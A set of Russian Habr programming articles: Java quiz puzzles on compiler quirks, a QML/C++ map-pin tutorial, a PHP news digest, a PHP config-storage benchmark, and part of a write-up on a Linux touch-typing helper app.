Если посмотреть внимательно, то можно заметить, что единицы визуально чуточку отличаются. Совсем капельку. Но мы же с вами хотим продумать всё до мелочей, не так ли?
Вывод будет — *201*, а не *201**1***, как может показаться на первый взгляд.
2)Скомпилируется ли данный код и если да — то каким будет вывод?
```
int[][] array = {{1, 2, 3}, {0, 0, 0,},};
System.out.println(Arrays.deepToString(array));
```
**Ответ**[[1, 2, 3], [0, 0, 0]]**Пояснение**Заблуждение обычно вызывают две «лишних» запятых в конце.
Когда я первый раз увидел такой код в одном из тестов, я твёрдо решил, что код не скомпилируется — и оказался не прав. Некоторые из вас могут предположить, что не указанные элементы будут заполнены значением по-умолчанию — и это будет тоже неверно.
А вывод будет простой — *[[1, 2, 3], [0, 0, 0]]*. Получается, что компилятор просто игнорирует одну лишнюю запятую в конце массива. Причём именно одну — две подряд уже вызовут ошибку компиляции.
Описание этой ситуации я без проблем нашёл [в спецификации языка](http://docs.oracle.com/javase/specs/jls/se7/html/jls-10.html#jls-10.6) — *A trailing comma may appear after the last expression in an array initializer and is ignored*.
А на практике — сделано для удобства при ручном копировании из одного массива в другой. Если бы компилятор не позволял ставить лишнюю запятую — то в некоторых случаях приходилось бы добавлять запятую в конце, когда мы копируем и вставляем значения из одного массива в конец другого — или удалять лишнюю в конце.
3)Скомпилируется ли данный код и если да — то каким будет вывод?
```
double $ = 0XD_EP2F;
System.out.print($);
```
**Ответ**888.0**Пояснение**Вы наверно будете уверены в том, что этот код не скомпилируется. А вот и нет! он вполне рабочий.
Когда я изучал Java, я сразу взял на заметку, что из подчёркиваний и экспоненциальной формы для HEX можно сделать что-то дикое. Этот пример, конечно же, **не для использования в реальных проектах** — а для тренировки ваших знаний. Я думаю, это самый сложный пример и изюминка статьи. Первые два были лёгкой разминкой. Кто-нибудь ответил правильно с первого раза?
В этом примере заключены два интересных момента. Первое — это название переменной. Называть переменную долларом весьма забавно. Но никогда, **никогда так не делайте в реальных проектах**. Хотя компилятор не запрещает такой подход — он не рекомендован, так как доллар используется в технических целях. Например, для наименования анонимных и вложенных классов. MyClass$MyInnerClass, или же MyClass$1. И можно без труда устроить коллапс имён — один класс назвать просто MyClass$MyInnerClass, а другой — MyClass с вложенным MyInnerClass — и они будут иметь одинаковое имя. Так что включать в свои переменные доллар — не рекомендуется.
Также вполне корректен такой код
```
double _ = 8.0;
```
А теперь давайте разберём второй момент — непосредственно сам литерал. Я наворотил его, как только мог. Для начала легко заметить, что это число записано в шестнадцатеричной форме. Но ведь она допускает только A,B,C,D,E,F в качестве букв — кажете вы. Откуда тогда P? И причём тут знак подчёркивания?
Обо всём по-порядку. F в конце означает, что этот литерал — типа float. И у нас он автоматически приводится к типу double. Далее очень интересный момент — P2. Если мы хотим записать шестнадцатеричное число в экспоненциальной форме — мы не сможем использовать E+N, потому что E у нас может использоваться в самом числе и может возникнуть неоднозначность. Зато никто не мешает нам использовать [BinaryExponentIndicator](http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#jls-3.10.2) — указываем p и степень. Число будет умножено на 2 в указанной степени. В данном случае — на 4.
А вот символ подчёркивания — очень удобное нововведение Java 7. Мы просто можем вставлять его в число и разделять им, например, разряды, или группировать цифры. Компилятор его просто вырежет — он нужен для более удобного чтения, не более.
Итак, чтобы точно ответить на вопрос, нам нужно вспомнить, что System.out.print выводит переменную типа double в обычной, десятичной форме. Следственно, нам нужно перевести из шестнадцатеричного вида в десятичный. Это уже совсем тривиальная задача. DE16 = 22210. Далее, умножаем 222 на 22 и получаем 888. Наконец не забываем, что для типа double при отсутствии дробной части дописывается точка и ноль. Вот и ответ — *888.0*.
4)Скомпилируется ли данный код и если да — то каким будет вывод?
```
public class Main{;
public static void main(String[] args) {
System.out.println(new Main().$_$()[2]);
}
;short $_$()[] {{{
return new short[007];
}}};
};
```
**Ответ**0**Пояснение**Первое, что бросается в глаза — это использование точек с запятой там, где их можно не использовать. Например после объявления класса (как в С++). Или же между членами класса. Зачем компилятор дал возможность ставить их там — я так и не выяснил. Но это вполне допустимо.
Имя метода — вполне допустимый идентификатор. А вот возвращаемый тип здесь не short а массив из short. Компилятор разрешает 2 формы объявления массива — квадратные скобки до идентификатора и после. Причём первый случай предназначен как-раз для метода. А что если попробовать второй случай для метода? Он тоже корректен, но выглядит ужасно, поэтому **никогда не используйте его в реальных проектах**. Но такая возможность есть.
Далее — внутри метода просто два вложенных блока кода, которые можно безболезненно убрать. И в итоге — метод просто возвращает массив из short длинной в 7 элементов, который инициализируется нулями и элемент с индексом 2 равен 0. Ах да, 007 — это восьмеричный литерал. Но это тоже ни на что не влияет.
5)Скомпилируется ли данный код и если да — то каким будет вывод?
```
public class Main {
public static void main(String[] args) {
((Main) null).haбra();
}
static void haбra() {
System.out.println("Hello habrahabr!");
}
}
```
**Ответ**Hello habrahabr!**Пояснение**Внимательные читатели заметят, что в названии метода присутствует русская буква б. Мало того, что Java позволяет полностью писать название идентификаторов на языках, отличных от английского, так мы ещё можем перемешивать буквы из разных языков.
Важный момент, который я хотел донести до вас — можно случайно напечатать не тот символ из другого языка и потом долго и мучительно искать ошибку. Например, английская a и русская а визуально неотличимы (по крайней мере, в этом шрифте). Если единицу можно отличить от l хоть как-то, то тут всё значительно хуже. Представьте себе ситуацию — вы по каким-либо причинам случайно в конце в названии класса или метода набрали русскую букву вместо английской. Или что более вероятно — редактировали уже существующее латинское название с русской раскладкой. Похожих букв между этими языками довольно много, так что шанс ошибиться вполне есть. Автозаполнение будет вставлять интернациональный идентификатор и всё будет отлично работать. Но вот если вы попробуете вызвать метод или получить класс через рефлексию — получите ошибку, которую будет не так просто обнаружить. Скорее, вы будете искать её в другом, так как названия будут визуально совпадать — потеряете время и силы.
Я хотел добавить ещё один пример, в котором два на внешний вид одинаковых идентификатора будут содержать внешне идентичные буквы из разных алфавитов, но по коду разные и посему идентификаторы будут также разные. И заставить объяснить, почему код вызывает ошибку компиляции. Но это было бы слишком жестоко — на вид подвох никак не заметить.
Далее — мы вызываем статический метод довольно оригинально — приводим null к типу Main. И это не вызовет ошибки времени выполнения! Дело в том, что вызов статических методов разрешается на этапе компиляции и зависит только от типа объекта.
В комментариях к данной статье пользователь [Yurevich1](http://habrahabr.ru/users/yurevich1/) привёл пример из реального проекта:
> Как-то в проекте поставил в классе переменную «с» по-русски. Где-то час убил, чтобы понять, в чём ошибка и проект в другой части кода ругается на как бы ту же самую переменную c, которая уже на английском.
6)Скомпилируется ли данный код и если да — то каким будет вывод?
```
Byte[] Byte[] = {{0}};
System.out.println(Byte);
System.out.println(Byte.class);
System.out.println(Byte.length);
System.out.println(new Byte("8"));
```
**Ответ**[[Ljava.lang.Byte;@6f171e30 (*хэш может быть другим*)
class java.lang.Byte
1
8**Пояснение** Итак, вот вам ещё один пример кода, который на первый взгляд вводит в заблуждение. Для начала вас должно смутить казалось бы следующее два раза друг за другом объявление массива из оболочек для байтов. Однако если вы внимательно изучали язык, вы должны знать, что есть два способа объявления массива — с квадратными скобками до имени и после. Более того, никто не мешает нам использовать эти два способа одновременно — перед вами просто двумерный массив.
Далее вас должно смутить имя массива, которое полностью совпадает с именем класса. Java позволяет называть локальные переменные классами стандартной библиотеки, при этом они будут перекрывать классы. Однако компилятор у Джавы умный. Очень умный. Он сообразит, что после оператора *new* может следовать только класс, да и перед *.class* — тоже. И в том контексте будет подразумеваться именно класс Byte, хотя имя экземпляра должно его перекрывать.
Итоги
=====
Мне нравится Java за её жёсткую стандартизованность. Спецификация определяет практически все тонкости с очень большой точностью. А значит — изучив эти тонкости один раз — вы сможете работать с ними везде.
Хочу добавить, что скрин кода над катом взят из [IDEA](http://www.jetbrains.com/idea/). Схему подсветки я сам разработал и использую её преимущества по максимуму. Если кому понравилась — могу скинуть.
Я готовился по нескольким разным системам тестирования. Для начала, хорошим сайтом будет [Quizful](http://www.quizful.net). Тесты «Java-Основы» и «Java-средний уровень» содержат очень большое количество полезных задач. Далее — очень хороши тесты от [ExamLab](http://www.examlab.org) — гонял по ним SCJP 6. И наконец — для самого экзамена — [Enthuware](http://enthuware.com/).
После прохождения многочисленных тестов и решения задач «в уме» я стал приятно удивлён, каким комфортным и эффективным стало написание кода. Тесты очень хорошо систематизируют и организуют знания. Я стал предвидеть в уме многие ошибки, а также выбирать лучшие решения. И не пожалел, что выучил некоторую часть API, хотя сначала считал что не следует помнить названия методов и классов наизусть. Я считаю Java одним из лучших языков в мире и рекомендую тесты для его углублённого изучения. А Java SE 7 Programmer I был совсем не сложным — без труда набрал 96 из 100 баллов. Кто собирается сдавать — могу дать пару советов — напишите [в личку](http://habrahabr.ru/conversations/kciray/). | https://habr.com/ru/post/203796/ | null | ru | null |
# Связывание модели данных в C++ c представлением в QML на примере карты
*Этот пост участвует в конкурсе [„Умные телефоны за умные посты“](http://habrahabr.ru/company/Nokia/blog/132522/).*
Попробуем решить следующую задачу: показать в приложении карту с пинами, то есть сделать стандартную функциональность, нужную для любого LBS приложения. Причем, сделать это в парадигме MVC – то есть модель данных и контроллер в C++, а QML занимается только отображением и логикой, связанной с UI. Для карты будем использовать использовать стандартный элемент Map, а заодно разберемся со связыванием модели данных из C++ и QML.
Для работы нужен установленный Qt SDK 1.1.4. Создаем новый проект: Qt Quick Application -> Qt Quick Components for Meego/Harmattan, далее все по дефолту. Поскольку мы будем использоваться Qt Mobilitiy, надо добавить в pro файл:
```
CONFIG += mobility
```
После этого имеем пустой проект с некой обвязкой на C++ и два qml файла – main.qml и MainPage.qml. Main мы трогать не будем, в нем лежит стандартные для платформы верхний статус бар и нижнее меню. В MainPage нужно импортировать нужное:
```
import QtMobility.location 1.2
```
и удалить все внутри элемента Page, заменив это на Map:
```
Map {
id: map
anchors.fill:parent
plugin: Plugin {name:"nokia"}
zoomLevel: 13
center: Coordinate { latitude: 55.755786; longitude: 37.617633 }
}
```
Обращу внимание на определение Plugin – так надо писать, чтобы получить в карте тайлы от Nokia (Ovi) Maps. Есть возможность подключить другие плагины, но из коробки их нет. Далее мы определяем уровень приближения и координаты центра карты. Запускаем, и видим Москву.
Все хорошо, но нам нужен хотя бы скролл пальцем. Нативный контрол это делать не умеет, поэтому делаем сами. Поверх карты добавляем MouseArea которая будет отлавливать одиночные тачи и двигать карту:
```
MouseArea {
anchors.fill:parent
property int lastX : -1
property int lastY : -1
onPressed : { lastX = mouse.x; lastY = mouse.y; }
onReleased : { lastX = -1; lastY = -1; }
onPositionChanged: {
if (lastX>=0) {
map.pan(lastX- mouse.x, lastY - mouse.y)
lastX = mouse.x
lastY = mouse.y
}
}
}
```
С зумом двумя пальцами можно разобраться аналогичным способом, используя элемент PinchArea.
Теперь надо нарисовать пины. Контрол карты поддерживает отрисовку в себе различных элементов, как графически примитивов, так и битмапов, но динамически это можно делать через методы addMapObject и removeMapObject, что не очень согласуется с нашим желанием делать MVC. Еще один вариант, использовать MapObjectView, но, как говорит документация «For model data, currently only LandmarkModel is supported. Using other types of models results in undefined behavior.» А LandmarkModel – это темный лес с кучей ограничений и ненужных нам действий. Нам надо что-то попроще. Так что мы пойдем своим путем, но сначала разберёмся с моделью в С++.
Модель будет проста: внутри будет список пинов, у каждого lat, lng и imageSource для url картинки для пина. Но во view мы будем отдавать уже не lat и lng, а абсолютные значения X и Y пина на экране. Также реализуем метод AddPin, которым будем добавлять пины в список, и DrawPins который будет вызываться из view при каких-то изменениях и пересчитывать значения X и Y. DrawPins должен быть объявлен как public slot, чтобы уметь принимать сигналы из view.
```
class PinList : public QAbstractListModel
//…
void PinList::addPin(QString imageSource, double lat, double lng)
{
//создаем внутренний пин с реальными координатами
Pin *pin = new Pin(this);
pin->imageSource = imageSource;
pin->Lat = lat;
pin->Lng = lng;
beginInsertRows(QModelIndex(), this->Pins->length(), this->Pins->length());
this->Pins->append(pin);
endInsertRows();
//говорим view, что данные изменились
emit dataChanged(createIndex(0,0),createIndex(this->Pins->size(),0));
}
//view передает нам текущие координаты углов в lat, lng и в x,y (считаем тут что один угол у нас в 0,0)
void PinList::DrawPins(QString x,QString y,QString x_end,QString y_end, QString map_x, QString map_y)
{
//запоминаем переданные координаты
map_first_lat = x.toDouble();
map_first_lng = y.toDouble();
map_second_lat = x_end.toDouble();
map_second_lng = y_end.toDouble();
map_x_end = map_x.toDouble();
map_y_end = map_y.toDouble();
//говорим view, что данные изменились
emit dataChanged(createIndex(0,0),createIndex(this->Pins->size(),0));
}
//вызывается из view для запроса полей модели
//тут как раз пересчитываем из lat,lng в x,y
QVariant PinList::data(const QModelIndex & index, int role) const {
if (index.row() < 0 || index.row() > this->Pins->count())
return QVariant();
const Pin* pin = this->Pins->at(index.row());
QVariant result;
switch (role) {
case ImageSource:
result = QVariant(pin->imageSource);
break;
case X:
if ( pin->Lng > map_first_lng && pin->Lng < map_second_lng)
{
result =QVariant((map_x_end)*(pin->Lng - map_first_lng)/(map_second_lng - map_first_lng));
}
break;
case Y:
if ( pin->Lat > map_second_lat && pin->Lat < map_first_lat)
{
result = QVariant(map_y_end*(pin->Lat - map_first_lat)/(map_second_lat - map_first_lat));
}
break;
}
return result;
}
```
Теперь надо нарисовать все это во view. Для этого определим, как выглядит пин:
```
//пин
Component {
id: landmarkMapDelegate
Item {
id:land
width: 20;
height: 20 ;
x: X
y: Y
Image {
source:ImageSource
}
}
}
```
и нарисуем Repeater поверх карты
```
Item {
anchors.fill:parent
Repeater {
model: pinlist
delegate: landmarkMapDelegate
}
}
```
Вот тут важно: model привязано к идентификатору pinlist. Именно этот идентификатор нужно будет потом указать для привязки модели в C++.
Объявим функцию DrawPins, которая будет считать lat и lng углов карты, и передавать ее в модель
```
function drawPins() {
var topLeft = map.toCoordinate(Qt.point(0,0))
var bottomRight = map.toCoordinate(Qt.point(map.width, map.height))
pinlist.DrawPins(topLeft.latitude,topLeft.longitude,bottomRight.latitude,bottomRight.longitude, map.width,map.height);
}
```
И вызовем ее в OnPositionChanges карты.
Теперь осталось, собственно, связать нашу модель и View:
```
//создаем модель
PinList* pinList = new PinList(0);
//добавляем несколько пинов
pinList->addPin("qrc:/icons/pin.png", 55.745, 37.6175);
pinList->addPin("qrc:/icons/pin.png", 55.7575, 37.619697);
pinList->addPin("qrc:/icons/pin.png", 55.751667, 37.617778);
//связываем модель и вью
viewer->rootContext()->setContextProperty("pinlist", pinList);
//читаем qml
viewer->setMainQmlFile(QLatin1String("qml/untitled/main.qml"));
```
Все.
[Исходники](http://dl.dropbox.com/u/18103424/map.rar) | https://habr.com/ru/post/134302/ | null | ru | null |
# PHP-Дайджест № 72 – интересные новости, материалы и инструменты (5 – 18 октября 2015)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [Компания Rogue Wave Software поглотила Zend](http://www.zend.com/en/resources/news-and-events/newsroom/press/3683_rogue-wave-software-acquires-enterprise-php-leader-zend-acquisition-broadens-enterprise-strength-across-top-five-development-languages) — Как это отразится на самой Zend и на PHP пока не ясно, но есть [предположения](http://ctankersley.com/2015/10/06/zends-acquisition-doesnt-matter/). А что думаете вы?
* [PHP 7.0.0 RC 5](http://php.net/archive/2015.php#id2015-10-15-2) — Предпоследний релиз-кандидат содержит исправления 11 ошибок и всего более 100 коммитов. RC 6 ожидается 29 октября.
* [Drupal 8.0.0 RC 1](https://www.drupal.org/drupal-8.0.0-rc1) — После долгих месяцев ожидания и 16 бета-версий, наконец-то доступен первый релиз-кандидат популярной CMS. Напомню, что Drupal 8 активно использует компоненты Symfony.
### PHP
* [RFC: Revisit trailing commas in function arguments](https://wiki.php.net/rfc/revisit-trailing-comma-function-args) — Предлагается реализовать возможность использования запятой после последнего параметра в определении функций и при вызове по аналогии с массивами: `function myFunc($foo, $bar,) { /*... */ }` Подобная возможность уже имеется в HHVM.
* [RFC: Void Return Type](https://wiki.php.net/rfc/void_return_type) — В PHP 7 стало возможным [объявление возвращаемых типов](https://wiki.php.net/rfc/return_types). А сейчас предлагается расширить эту возможность добавив тип `void`, обозначающий, что функция не может возвращать значения, в том числе `null`.
* [RFC: Support Class Constant Visibility](https://wiki.php.net/rfc/class_const_visibility) — Предлагается реализовать модификаторы доступа для констант класса.
### Инструменты
* [Puli](http://puli.io) — Инструмент построен поверх Composer и позволяет управлять различными ресурсами в проекте: конфигурационные файлы, изображения, CSS, переводы, и другие. Подробнее в [посте](http://www.sitepoint.com/can-puliphp-re-revolutionize-php-package-development/), а также в  [видеозаписи доклада автора](https://www.youtube.com/watch?v=YWXqET5xlzw).
* [sensiolabs-de/deprecation-detector](https://github.com/sensiolabs-de/deprecation-detector) — Инструмент определяет использование устаревших (deprecated) методов, классов и интерфейсов.
* Docker-контейнеры для php-разработки: [nginx-php](https://github.com/romeOz/docker-nginx-php), [apache-php](https://github.com/romeOz/docker-apache-php), [mysql](https://github.com/romeOz/docker-mysql), [postgresql](https://github.com/romeOz/docker-postgresql), [mongodb](https://github.com/romeOz/docker-mongodb), [redis](https://github.com/romeOz/docker-redis), [sphinxsearch](https://github.com/romeOz/docker-sphinxsearch) — Прислал [romeoz](https://habr.com/users/romeoz/).
* [psecio/propauth](https://github.com/psecio/propauth) — Библиотека позволяет реализовать проверку прав доступа на основе «политик». [Пост](http://websec.io/2015/10/07/Security-Policy-Evaluation-Laravel-PropAuth.html) с примерами использования в Laravel.
* [volter9/8-cms](https://github.com/volter9/8-cms) — CMS в 8 строк кода.
* [theseer/Autoload](https://github.com/theseer/Autoload) — Легковесный генератор автозагрузчиков.
* [ldaptools/ldaptools](https://github.com/ldaptools/ldaptools) — Библиотека для работы с LDAP на PHP 5.6+.
* [essence/essence](https://github.com/essence/essence) — Простая библиотека для извлечения медиаданных с веб-страниц, как например youtube-видео, твиты и т.п.
* [hassankhan/config](https://github.com/hassankhan/config) — Легковесный загрузчик конфигурационных файлов.
* [adminer](https://github.com/vrana/adminer/) —  [Веб-интерфейс для баз данных размером в один .php файл.](http://habrahabr.ru/post/268735/)
* [Relay](http://relayphp.com/) — PSR-7 middleware dispatcher.
* [crysalead/kahlan](https://github.com/crysalead/kahlan) — Unit & BDD фреймворк тестирования а-ля RSpec/JSpec.
* [huyanping/php\_crontab](https://github.com/huyanping/php_crontab) — Реализация crontab на PHP.
* [odesk/phystrix](https://github.com/odesk/phystrix) — Библиотека для решения проблемы отказоустойчивости распределенных систем. Порт популярного Java-инструмента [Netflix/Hystrix](https://github.com/Netflix/Hystrix).
* [spiral/spiral](https://github.com/spiral/spiral) — PSR-7 HMVC фреймворк.
* [dlevsha/compalex](https://github.com/dlevsha/compalex) — Инструмент для сравнения схем двух баз данных.  [Пост](http://habrahabr.ru/post/268273/) в поддержку.
* [cronario/cronario](http://cronar.io/) — Сервер очередей для выполнения фоновых задач.
### Материалы для обучения
* ##### Symfony
+  [HTTP/2 Server Push с помощью Symfony HttpKernel](http://ahrameev.ru/article/http2-server-push-s-pomoshhyu-symfony-httpkernel.html)
+ [Тестирование Symfony приложений на продакшене](https://medium.com/@dkarlovi/testing-your-symfony-application-on-production-a143483768c9)
+ [Кастомные события в бандле Symfony 2](http://harikt.com/blog/2015/10/11/custom-events-in-symfony2-bundle/)
* ##### Yii
+  [Программирование с YII2: приступаем к работе](http://habrahabr.ru/post/268615/)
+  [Производительное юнит-тестирование веб-приложений на примере yii2 и codeception](http://habrahabr.ru/post/268381/)
+  [Jii: Полноценное приложение с архитектурой Yii2 в браузере](http://habrahabr.ru/post/268361/)
* ##### Laravel
+ [Кастомные директивы в Blade](https://mattstauffer.co/blog/custom-conditionals-with-laravels-blade-directives)
+ [mattstauffer/IlluminateNonLaravel](https://github.com/mattstauffer/IlluminateNonLaravel) — Примеры использования Illuminate-компонентов без фреймворка Laravel.
+ [LaravelRUS/GitterBot](https://github.com/LaravelRUS/GitterBot) — Бот для gitter.im чата, реализованный на Laravel 5.1 + PHP 7 + EcmaScript 6\7. Прислал [serafimarts](https://habr.com/users/serafimarts/).
* [CSPRNG в WordPress 4.4](https://paragonie.com/blog/2015/10/coming-wordpress-4-4-csprng) — Интересный пост об истории криптографически безопасного генератора случайных значений.
* [Как безопасно реализовать криптографические возможности в любом приложении](https://paragonie.com/blog/2015/09/how-to-safely-implement-cryptography-in-any-application)
* [О нюансах инкрементирования значений в PHP](https://www.adayinthelifeof.nl/2015/10/13/incrementing-values-in-php/)
* [Отделяйте приложение от фреймворков](http://gnugat.github.io/2015/09/30/decouple-from-frameworks.html) и [от библиотек](http://gnugat.github.io/2015/10/12/decouple-from-libraries.html)
* [Туториал по Docker для PHP-разработчиков](http://www.sitepoint.com/docker-and-dockerfiles-made-easy/)
* [Использование роутера Symfony в WordPress](http://torquemag.io/using-symfony-router-wordpress-front-end/)
* [Hacking with PHP (ex Practical PHP)](http://www.hackingwithphp.com/) — Учебник по PHP.
*  [Замаскированные зависимости](http://ahrameev.ru/article/dependencies-in-disguise.html)
*  [Почему следует избегать чрезмерной абстракции](http://den.bz/article/on-over-abstracting.html)
*  [PHPUnit для начинающих. Часть 2: Data Provider.](http://phpprofi.ru/blogs/post/32)
*  [Пример модуля для Magento 2](http://habrahabr.ru/post/268245/)
*  [Первые шаги в мир веба в реальном времени](http://habrahabr.ru/post/268717/)
*  [Серверная кластеризация маркеров на карте. От теории к практике](http://habrahabr.ru/post/268621/)
### Аудио и видеоматериалы
*  [PHP Roundtable: 031: Checking in with PHP & HHVM internals](https://www.phproundtable.com/episode/checking-in-with-php-and-hhvm-internals) — Подкаст с участием Никиты Попова, Julien Pauli, Sara Golemon и Bob Weinand.
### Занимательное
* [Вышел в свет PEAR 1.10.0 с поддержкой PHP7](http://blog.pear.php.net/2015/10/07/pear-1-10-0/)
* [hmlb/phpunit-vw](https://github.com/hmlb/phpunit-vw) — По мотивам скандала Volkswagen — расширение для PHPUnit, которое сделает все провалившиеся тесты зелеными на любом CI.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](http://habrahabr.ru/conversations/pronskiy/).
Буду рад вопросам и предложениям: [email](mailto:roman@pronskiy.com), [твиттер](https://twitter.com/pronskiy).
За фото спасибо [karynache](https://vk.com/karynache).
[Прислать ссылку](http://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск](http://habrahabr.ru/company/zfort/blog/268203/) | https://habr.com/ru/post/269039/ | null | ru | null |
# Вдогонку к предыдущему посту или О разных методах хранения конфигов
Настоящее приложение просто обязано быть конфигурируемым.
Новостная лента — не лента, если админка не позволяет указать, сколько же новостей выводить на главной. Блог — не блог, а унылый бложек, если нельзя тонко настроить миллион параметров — от заголовка, до разного цвета комментариев от девочек и от мальчиков.
Все эти многочисленные настройки, собравшись вместе, образуют единое целое — конфигурацию Вашего приложения, или, иначе говоря — конфиг.
С конфигом связаны две проблемы —
1. Как и где его хранить?
2. Как и откуда его получать?
Взаимосвязь этих проблем прослеживается очень четко, поэтому их можно свести в одну — «Как хранить конфиги?»
#### INI-файлы
В PHP есть богатый инструментарий для работы с ini-файлами, состоящий аж из двух функций: parse\_ini\_file() и parse\_ini\_string().
Предположим, что у нас имеется конфиг из 1000 переменных. Для простоты ситуации будем считать, что секций в ini-файле мы не выделяем.
Для тех, кто захочет повторить тесты, вот пример простейшего кода для формирования тестового файла конфига:
`$f = fopen("./test.ini", "w");
for ( $i=1; $i<=1000; $i++ )
fwrite($f, "var_" . $i . " = \"" . md5(rand()) . "\"\n");
fclose($f);`
Попробуем определить время доступа к произвольной переменной из конфига с помощью несложного тестового кода:
`function getConfigVar($num) {
$config = parse_ini_file("./test.ini");
return $config["var_" . $num];
}
$start = microtime();
for ( $i=1; $i<=1000; $i++ )
$var = getConfigVar($i);
$end = microtime();
list($usec, $sec) = explode(" ", $start);
$start = (float)$usec + (float)$sec;
list($usec, $sec) = explode(" ", $end);
$end = (float)$usec + (float)$sec;
echo $end - $start;`
Проведя замеры на тестовом сервере 10 раз и округлив результат я получил **2,67 секунды**.
#### Сериализованные данные в файлах
PHP предлагает нам специальную технологию для хранения произвольных данных любых в текстовых файлах — сериализацию. Для нее существуют две специальные функции — serialize() преобразует данные любого типа в строку, а unserialize(), соответственно, восстанавливает данные из строки.
Создадим тестовый файл с помощью следующего кода:
`for ( $i=1; $i<=1000; $i++ )
$data["var_" . $i] = md5(rand());
$f = fopen("./test.serial", "w");
fwrite($f, serialize($data));
fclose($f);`
и соответственно изменим функцию getConfigVar:
`function getConfigVar($num) {
$config = unserialize(file_get_contents("./test.serial"));
return $config["var_" . $num];
}`, оставив остальной код неизменным.
Проведя замеры 10 раз и округлив результат я получил **1,48 секунды**. Выигрыш во времени — почти 2 раза!
#### Хранение в виде Plain PHP
Однако есть еще один способ, о котором шла речь в моем предыдущем топике. Конфиги можно хранить в виде кода на PHP, а для доступа — использовать конструкцию include().
Давайте посмотрим, даст ли это какой-то выигрыш в производительности?
Код для создания тестового файла конфига:
`$f = fopen("./test.conf", "w");
fwrite($f, "php\n");<br/
for ( $i=1; $i<=1000; $i++ )
fwrite($f, "\$config['var_" . $i . "'] = \"" . md5(rand()) . "\";\n");
fwrite($f, "return \$config;\n?>");
fclose($f);`
Обратите внимание на последнюю строчку создаваемого файла — «return $config;».
Казалось бы — к чему здесь оператор возврата значения из функции? Весь секрет в том, что в PHP инструкция include также, как и функция, умеет возвращать значение, определенное в операторе return включаемого файла. Этот трюк позволит обойтись нам без глобальных переменных.
Тестируем:
`function getConfigVar($num) {
$config = include("./test.conf");
return $config["var_" . $num];
}`
Результат неожиданный — **5,21 секунды**. Я лично думал, что этот способ окажется самым быстрым, однако чуда не произошло…
#### … а если закэшировать?
А теперь давайте попробуем взять самый медленный способ и применить к нему простейший алгоритм кэширования в памяти. Тестовая функция будет выглядеть так:
`function getConfigVar($num) {
if ( !isset($GLOBALS['config_cache']) )
$GLOBALS['config_cache'] = include("./test.conf");
return $GLOBALS['config_cache']["var_" . $num];
}`
Результат разительный — **0,054 секунды**!
Для справки — первый метод после применения кэширования показал результат 0.052 секунды, второй — 0.051 секунды.
Я думаю, что выводы каждый сделает для себя сам.
*Автор осознает некоторую искуственность и натянутость приведенных тестов. И надеется, что они просто послужат пособием для разминки интеллекта начинающих программистов, но никак не прямым руководством к действию.
Все приведенные в статье примеры искусственно придуманы и искуственно упрощены для лучшего понимания.* | https://habr.com/ru/post/78976/ | null | ru | null |
# Программа-помощник для освоения слепой печати на клавиатуре в Linux
Хочу показать и рассказать о небольшой программке, которая принесла пользу.
Однажды на работе мне написал друг. Диалог у нас состоялся примерно следующий:
— Привет, я тут обучаюсь технике слепой печати. Дело в том, что на линуксе нет программки, которая могла бы мне помочь. В общем, может ты сможешь быстренько написать такую?
Так как помочь другу — святое дело, да и задача выглядела интересной, помочь я согласился.
В итоге получилось вот что:
Кому интересно, подробности ниже
**Предупреждение**Я не претендую на звание гуру питона, поэтому в коде (и я почти уверен в этом) присутствуют забивания гвоздей микроскопом и прочие нелепости.
Вместе с другом сделали постановку задачи:
Принцип её работы программы следующий — после запуска на рабочем столе появляется окно со схематическим изображением клавиатуры. При нажатии кнопок на реальной клавиатуре, на схематическом изображении нажатые кнопки вдавливаются.
Это помогает выработать рефлекс смотреть на монитор во время печати на клавиатуре.
Главные требованиями к программе:
1. Реализовать её очень быстро;
2. Показывать нажатые клавиши в режиме реального времени;
3. «Переключать раскладки» в окне при переключении языка клавиатуры;
4. Производить настройку программы через текстовый конфигурационный файл.
В процессе написания также добавились:
1. Режим «залипания» последней нажатой клавиши (помогает сообразить куда нажимать пальцами дальше);
2. Работа с клавишей shift;
3. Возможность пометки цветом позиций для пальцев на клавиатуре;
4. Возможность настройки шрифта;
5. Возможность настройки ширины кнопок;
6. Автоматическое сокрытие содержимого окна при наведении мышки.
На момент появления программы уже имелся опыт работы с Tkinter, работы с несколькими потоками. Плюс, по роду деятельности приходится бывать и сисадмином, поэтому работа с командной строкой была не чужда.
Общее описание внутренностей программы:
Для чтения клавиш используется найденная в google строчка на bash, позволяющая читать клавиши, нажимаемые на клавиатуре через утилиту xinput. Данный способ выбран в угоду пункту 1 требований. Процесс чтения символов запускается в отдельном потоке. Так же реализовано и чтение языка раскладки (опять таки пункт 1). Выдача информации о нажатых кнопках производится в очередь. Работа с очередью в главном окне программы производится путем периодического вызова функции periodicCall. Таким образом два потока пишут в очередь, один поток читает.
Завершение работы программы производится своеобразно — через статусные переменные в потоках.
Работа с настройками программы
------------------------------
Настройки программы загружаются и хранятся в экземпляре класса ConfigManager. Чтение из главноего текстового файла настроек производится с помощью [ConfigParser](https://docs.python.org/2/library/configparser.html). Данный модуль позволяет использовать похожий на INI формат конфигурационных файлов. В конструкторе класса производится проверка существования конфигурационного файла, расположенного по пути "~/.key\_trainer/program.conf". Если его нет, программа читает файл program.conf, расположенный в текущей папке с программой.
**Немного кода**
```
import os
...
filename='program.conf'
home = os.path.expanduser("~")
if os.path.isfile(home+'/.key_trainer/'+filename):
filename=home+'/.key_trainer/'+filename
...
```
[ConfigParser](https://docs.python.org/2/library/configparser.html) — замечательный модуль. Можно считать названия всех секций, а также считать ключи с их значениями внутри секций как кортежи (tuple). Так, например, реализовано считывание названий секций, и ключей в секции «KEYBOARD SETTINGS».
**Еще немного кода**
```
from ConfigParser import RawParser
...
myParser=RawConfigParser(allow_no_value=True)
myParser.read(path_to_file)
# Получаем секции
self.sections = myParser.sections()
# Используем генератор чтобы вытащить ключи, заданные в секции KEYBOARD SETTINGS
keyboard_settings_keys=[x[0] for x in myParser.items("KEYBOARD SETTINGS")]
```
Помимо главного конфигурационного файла есть второй не менее важный — «keyboard.conf». Он используется для настройки отображаемых кнопок, а именно кода кнопки, текста на кнопке (с шифтом и в раскладках), положения кнопки. Убирая/добавляя записи в этот файл можно менять количество и качество кнопок (и строк с кнопками) в главном окне программы.
